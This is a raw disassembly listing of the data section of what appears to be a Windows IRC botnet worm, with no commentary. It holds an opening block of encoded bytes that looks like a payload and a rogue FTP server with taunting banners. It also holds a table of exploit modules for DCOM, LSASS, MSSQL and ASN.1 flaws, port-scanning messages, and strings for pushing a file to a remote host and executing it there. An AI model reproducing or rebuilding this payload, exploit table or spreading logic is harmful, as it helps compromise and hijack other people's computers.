dd 0E4B9EBA9h, 36E14579h, 151512C5h, 66623D05h, 7066A07h
dd 7979711Bh, 0DD30DE34h, 0CACACACCh, 1FD8B668h, 516C055Fh
dd 75BE34BEh, 2945BE39h, 3D4DBE98h, 0BE096AB8h, 0BECE342Eh
dd 0CE344D6Eh, 34297EBEh, 1166BECCh, 6466CF34h, 156EBE67h
dd 0FC04CE34h, 0ACF50474h, 34BE01BEh, 0F70499CBh, 0F5B1D7E4h
dd 833AC240h, 71B83070h, 0C533170h, 53D44025h, 6D6F2504h
dd 6765636Bh, 74257B1Eh, 7F39823Ah, 34BD31BEh, 78833ACDh
dd 0B871BC30h, 3078CBEDh, 78CB8B40h, 0CB144131h, 68B81778h
dd 0E5CA662Dh, 315FF2BCh, 3070BD6Dh, 3F4270B5h, 0B54168B8h
dd 0DC21135Eh, 0CACACA4Dh, 0EE04FBBCh, 66666666h, 0CA637363h
dd 6D60A2E5h, 5F05BC53h, 0CA626025h, 637BE160h, 0F960CA62h
dd 0CA626066h, 0B8A2E560h, 0CA65BD70h, 6060D160h, 0B8DD60CAh
dd 0A1393071h, 501B5D66h, 695D504Dh, 0A1515856h, 70B8E704h
dd 6262A1F9h, 0CB666662h, 67C734F3h, 4D70B8A1h, 0BD70B865h
dd 663D8465h, 0CB255F66h, 666667FBh, 60CA6066h, 0CACA5FD9h
dd 0D560h
word_426710 dw 7A69h ; DATA XREF: sub_4051BC+30r
align 4
a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_405409+5CDo
aQuit db 'QUIT',0 ; DATA XREF: sub_405409+5B9o
; sub_40CE55+534o
align 4
a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0
; DATA XREF: sub_405409+5ACo
align 4
dword_42675C dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
; DATA XREF: sub_405409+561o
dd 2029206Ch, 2BBBB02h
aFileSentToSOnP db ' File sent to %s on port %d, now executing %s on remote machine.'
db 0
align 4
a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_405409+542o
a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0
; DATA XREF: sub_405409+516o
align 10h
aRetr db 'RETR',0 ; DATA XREF: sub_405409+4FEo
align 4
a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_405409+4E9o
align 4
aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_405409+4D8o
aXX db '%x%x',0Ah,0 ; DATA XREF: sub_405409+4A5o
align 4
aS db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_405409+464o
db ']',0
aPort db 'PORT',0 ; DATA XREF: sub_405409+42Bo
align 4
a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_405409+3FDo
align 4
aList db 'LIST',0 ; DATA XREF: sub_405409+3EAo
align 4
a425PassiveNotS db '425 Passive not supported on this server',0Ah,0
; DATA XREF: sub_405409+3AFo
align 4
aPasv db 'PASV',0 ; DATA XREF: sub_405409+39Co
align 10h
a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_405409+38Co
aI: ; DATA XREF: sub_405409+378o
unicode 0, <I>,0
a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_405409+351o
aA: ; DATA XREF: sub_405409+33Do
unicode 0, <A>,0
aType db 'TYPE',0 ; DATA XREF: sub_405409+326o
; sub_405409+361o
align 4
a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_405409+316o
align 4
off_426918 dd offset dword_445750 ; DATA XREF: sub_405409+302o
a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_405409+2F2o
align 10h
aRest db 'REST',0 ; DATA XREF: sub_405409+2DEo
align 4
a215Fuckftpd db '215 fuckFtpd',0Ah,0 ; DATA XREF: sub_405409+2CEo
align 4
aSyst db 'SYST',0 ; DATA XREF: sub_405409+2BAo
align 10h
a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_405409+2AAo
align 4
aPass db 'PASS',0 ; DATA XREF: sub_405409+296o
align 10h
a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_405409+286o
align 4
aUser_0 db 'USER',0 ; DATA XREF: sub_405409+271o
; .nsp0:0042C360o ...
align 10h
aSS db '%s %s',0 ; DATA XREF: sub_405409+260o
align 4
a220Fuckftpd0wn db '220 fuckFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_405409+1D8o
align 10h
aRb db 'rb',0 ; DATA XREF: sub_405A89+24o
; sub_406C3E+12Eo ...
align 4
unk_4269B4 db 2 ; DATA XREF: sub_405B23+3F8o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorServerFai db 'Error: server failed, returned: <%d>.',0
align 4
asc_4269FC db 0Dh,0Ah,0 ; DATA XREF: sub_405B23+2CFo
align 10h
asc_426A00: ; DATA XREF: sub_405B23+293o
; sub_40CE55+A8o ...
unicode 0, < >,0
aGet db 'GET ',0 ; DATA XREF: sub_405B23+269o
align 4
aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405F7E+F6o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Content-Length: %i',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 4
aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405F7E+D3o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 4
aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_405F7E+97o
; sub_40AAD1+1AEo
align 4
aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_405F7E+83o
align 4
aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_405F7E:loc_405FE3o
align 4
aTextHtml db 'text/html',0 ; DATA XREF: sub_405F7E+5Eo
align 10h
unk_426C20 db 2 ; DATA XREF: sub_406100+28Fo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0
unk_426C6C db 2 ; DATA XREF: sub_406100+20Bo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aWorkerThreadOf db 'Worker thread of server thread: %d.',0
asc_426CB0: ; DATA XREF: sub_406100+157o
; .nsp0:0042DFF8o
unicode 0, <*>,0
asc_426CB4: ; DATA XREF: sub_406100+FBo
; sub_4063B0+29o ...
dw 0Ah
unicode 0, <>,0
aSS_2 db '%s%s',0 ; DATA XREF: sub_406100+EAo
; sub_4063B0+4CAo ...
align 10h
aS_1 db '%s',0 ; DATA XREF: sub_406100+3Ao
; sub_40A621+4Co ...
align 4
aS_2 db '\%s',0 ; DATA XREF: sub_406100+2Fo
aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0
; DATA XREF: sub_4063B0+64Eo
align 10h
aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_4063B0+633o
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah
db '</TABLE>',0Dh,0Ah
db '</BODY>',0Dh,0Ah
db '</HTML>',0Dh,0Ah,0
align 4
aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
; DATA XREF: sub_4063B0+618o
align 4
a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_4063B0+589o
align 4
aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_4063B0+561o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_4063B0:loc_4068C8o
align 4
aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_4063B0+511o
align 4
aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_4063B0+471o
align 4
a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_4063B0+434o
align 4
aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_4063B0+401o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_4063B0:loc_406772o
align 4
aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_4063B0+3BBo
align 4
aSS_0 db '%s%s/',0 ; DATA XREF: sub_4063B0+374o
align 4
aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_4063B0+330o
; sub_4063B0+486o
db '<TD WIDTH="%d"><A HREF="',0
align 4
aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_4063B0+30Eo
align 10h
aS_0 db '<%s>',0 ; DATA XREF: sub_4063B0+2E4o
; sub_4063B0+413o
align 4
a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_4063B0+2BAo
aAm db 'AM',0 ; DATA XREF: sub_4063B0+290o
align 4
aPm db 'PM',0 ; DATA XREF: sub_4063B0+285o
align 10h
a__0: ; DATA XREF: sub_4063B0+24Do
unicode 0, <.>,0
a__ db '..',0 ; DATA XREF: sub_4063B0+232o
align 4
aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_4063B0+1C0o
db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
db 'D>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_4063B0+147o
aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_4063B0+12Bo
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_4063B0+F7o
db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_4063B0+ADo
db '<TABLE BORDER="0">',0Dh,0Ah,0
align 4
aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_4063B0+78o
db '<HEAD>',0Dh,0Ah
db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
db '</HEAD>',0Dh,0Ah
db '<BODY>',0Dh,0Ah,0
align 4
aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_4063B0+4Bo
aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_406B1D+8Fo
db 'Referer: %s',0Ah
db 'Host: %s',0Ah
db 'Connection: close',0Ah
db 0Ah,0
dword_42716C dd 4000500h, 7868746Bh, 0 ; DATA XREF: sub_406C3E+493o
dword_427178 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
; DATA XREF: sub_406C3E+47Fo
dd 2029206Ch, 2BBBB02h
aFileSentToSExe db ' File sent to %s, executing %s on remote machine.',0
align 4
unk_4271C8 db 2 ; DATA XREF: sub_406C3E+3B6o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 74h ; t
db 66h, 74h, 70h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFileNotFoundOn db ' File not found on %s, (%s).',0
align 4
dword_427204 dd 1000500h, 656C6946h, 746F4E20h, 756F4620h, 646Eh
; DATA XREF: sub_406C3E+399o
unk_427218 db 2 ; DATA XREF: sub_406C3E+33Eo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFileSentToSE_0 db 'File sent to %s, executing %s on remote machine.',0
align 4
unk_42726C db 2 ; DATA XREF: sub_406C3E+15Ao
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToOpenFi db 'Failed to open file: %s (possible virus scan!)',0
align 4
unk_4272BC db 2 ; DATA XREF: sub_406C3E+6Ao
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorSocketF_1 db 'Error: socket() failed, returned: <%d>.',0
aOctet db 'octet',0 ; DATA XREF: sub_406C3E+Fo
align 10h
aDcom135_0 db 'dcom135',0 ; DATA XREF: sub_40778B+164o
db 2 dup(0)
aDcom135 db 'Dcom135',0 ; DATA XREF: .nsp0:00404ACFo
align 4
dd 5 dup(0)
dword_427338 dd 87h ; DATA XREF: sub_407135+1Er
; sub_40CE55+2F87r ...
off_42733C dd offset sub_4033CB ; DATA XREF: sub_40778B+1E6r
dword_427340 dd 0 ; DATA XREF: sub_402DDD+193w
; sub_402DDD+199r ...
dword_427344 dd 1 ; DATA XREF: sub_407276+1Fr
dword_427348 dd 0 ; DATA XREF: sub_407276:loc_4074E7r
aDcom445 db 'dcom445',0
dd 63440000h, 34346D6Fh, 35h, 5 dup(0)
dd 1BDh, 4033CBh, 0
dd 1, 0
aDcom1025 db 'dcom1025',0
align 2
aDcom1025_0 db 'Dcom1025',0
align 4
dd 5 dup(0)
dd 401h, 4033CBh, 0
dd 1, 0
aDcass db 'dcass',0
align 4
dd 63640000h, 737361h, 6 dup(0)
dd 1BDh, 402F84h, 0
dd 2 dup(1), 7361736Ch, 35343473h, 736C0000h, 34737361h
dd 3534h, 5 dup(0)
dd 1BDh, 403C8Bh, 0
dd 2 dup(1), 7361736Ch, 35333173h, 736C0000h, 31737361h
dd 3533h, 5 dup(0)
dd 87h, 403C8Bh, 0
dd 2 dup(1), 7361736Ch, 39333173h, 736C0000h, 31737361h
dd 3933h, 5 dup(0)
dd 8Bh, 403C8Bh, 0
dd 2 dup(1), 61736C63h, 7373h, 6C630000h, 73736173h, 6 dup(0)
dd 1BDh, 402DDDh, 0
dd 2 dup(1), 6C31736Ch, 73h, 736C0000h, 736C31h, 6 dup(0)
dd 1BDh, 403E3Ch, 0
dd 2 dup(1), 7173736Dh, 6Ch, 736D0000h, 6C7173h, 6 dup(0)
dd 599h, 404F08h, 0
dd 2 dup(1), 316E7361h, 6E626D73h, 736D0074h, 737361h
dd 6 dup(0)
dd 599h, 405168h, 0
dd 2 dup(1), 6C616572h, 74736163h, 65520000h, 61636C61h
dd 7473h, 5 dup(0)
dd 22Ah, 4052FCh, 0
dd 1, 0
aAsn1http db 'asn1http',0
align 2
aAsn1http_0 db 'asn1http',0
align 4
dd 5 dup(0)
dd 50h, 404907h, 0
dd 2 dup(1), 316E7361h, 626D73h, 73610000h, 6D73316Eh
dd 62h, 5 dup(0)
dd 1BDh, 404907h, 0
dd 2 dup(1), 7361736Dh, 73h, 73610000h, 6D73316Eh, 746E62h
dd 5 dup(0)
dd 8Bh, 404907h, 0
dd 2 dup(1), 0
aAsn1smbnt db 'asn1smbnt',0
byte_4276A2 db 1 ; DATA XREF: sub_40CE55:loc_411958r
; sub_40CE55+4B0Do
aMsass db 'msass',0
align 4
dd 100h, 3 dup(0)
aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_407135+81o
align 10h
aSD db ' %s: %d,',0 ; DATA XREF: sub_407135+42o
align 4
unk_4276DC db 2 ; DATA XREF: sub_407135+11o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aExploitStatist db ' Exploit Statistics:',0
align 4
unk_427714 db 2 ; DATA XREF: sub_4071FF+42o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aScanNotActive_ db ' Scan not active.',0
unk_427748 db 2 ; DATA XREF: sub_4071FF+2Co
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aCurrentIpS_ db ' Current IP: %s.',0
align 4
unk_42777C db 2 ; DATA XREF: sub_407276+36Fo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToStartS db 'Failed to start server, error: <%d>.',0
align 4
unk_4277C4 db 2 ; DATA XREF: sub_407276+307o
; sub_40CE55+5039o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aServerListenin db 'Server listening on IP: %s:%d, Directory: %s\.',0
align 4
dword_427814 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
; DATA XREF: sub_407276+267o
dd 2029206Ch, 2BBBB02h
aFailedToStar_0 db ' Failed to start server, error: <%d>.',0
align 4
dword_427858 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
; DATA XREF: sub_407276+1FAo
dd 2029206Ch, 2BBBB02h
aServerStartedO db ' Server started on Port: %d, File: %s, Request: %s.',0
align 4
unk_4278AC db 2 ; DATA XREF: sub_407276+149o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToStar_1 db 'Failed to start server, error: <%d>.',0
align 4
unk_4278F4 db 2 ; DATA XREF: sub_407276+DBo
; sub_40CE55+4EC3o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aServerStarte_0 db 'Server started on Port: %d, File: %s, Request: %s.',0
align 4
aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_407652+38o
; sub_40A171+46o
unk_427954 db 2 ; DATA XREF: sub_40778B+EBo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aIpSPortDIsOpen db ' IP: %s, Port %d is open.',0
unk_427990 db 2 ; DATA XREF: sub_40778B+93o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aIpSDScanThread db ' IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
align 10h
unk_4279E0 db 2 ; DATA XREF: sub_40799F+1CEo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFinishedAtSDAf db ' Finished at %s:%d after %d minute(s) of scanning.',0
align 4
unk_427A38 db 2 ; DATA XREF: sub_40799F+173o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStar_2 db ' Failed to start worker thread, error: <%d>.',0
align 4
unk_427A88 db 2 ; DATA XREF: sub_40799F+103o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSDScanThreadDS db ' %s:%d, Scan thread: %d, Sub-thread: %d.',0
align 4
unk_427AD4 db 2 ; DATA XREF: sub_40799F+87o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToInitia db ' Failed to initialize critical section.',0
align 10h
unk_427B20 db 2 ; DATA XREF: sub_407BFE+156o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStartC db ' Failed to start client thread, error: <%d>.',0
align 10h
unk_427B70 db 2 ; DATA XREF: sub_407BFE+E1o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aClientConnecti db ' Client connection from IP: %s:%d, Server thread: %d.',0
unk_427BC8 db 2 ; DATA XREF: sub_407D86+1AAo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStar_3 db ' Failed to start connection thread, error: <%d>.',0
align 4
unk_427C1C db 2 ; DATA XREF: sub_407D86+E1o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aClientConnec_0 db ' Client connection to IP: %s:%d, Server thread: %d.',0
align 4
unk_427C74 db 2 ; DATA XREF: sub_40800A+1B2o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Fh, 63h, 6Bh
db 73h ; s
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToStar_4 db 'Failed to start server on Port %d.',0
align 4
unk_427CB8 db 2 ; DATA XREF: sub_40800A+18Fo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Fh, 63h, 6Bh
db 73h ; s
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToStar_5 db 'Failed to start client thread, error: <%d>.',0
unk_427D04 db 2 ; DATA XREF: sub_40800A+114o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Fh, 63h, 6Bh
db 73h ; s
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aClientConnec_1 db 'Client connection from IP: %s:%d, Server thread: %d.',0
align 4
unk_427D5C db 2 ; DATA XREF: sub_40800A+A8o
; sub_40CE55+587Co
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Fh, 63h, 6Bh
db 73h ; s
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aServerStarte_1 db 'Server started on: %s:%d.',0
align 4
unk_427D98 db 2 ; DATA XREF: sub_40820F+1F9o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Fh, 63h, 6Bh
db 73h ; s
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
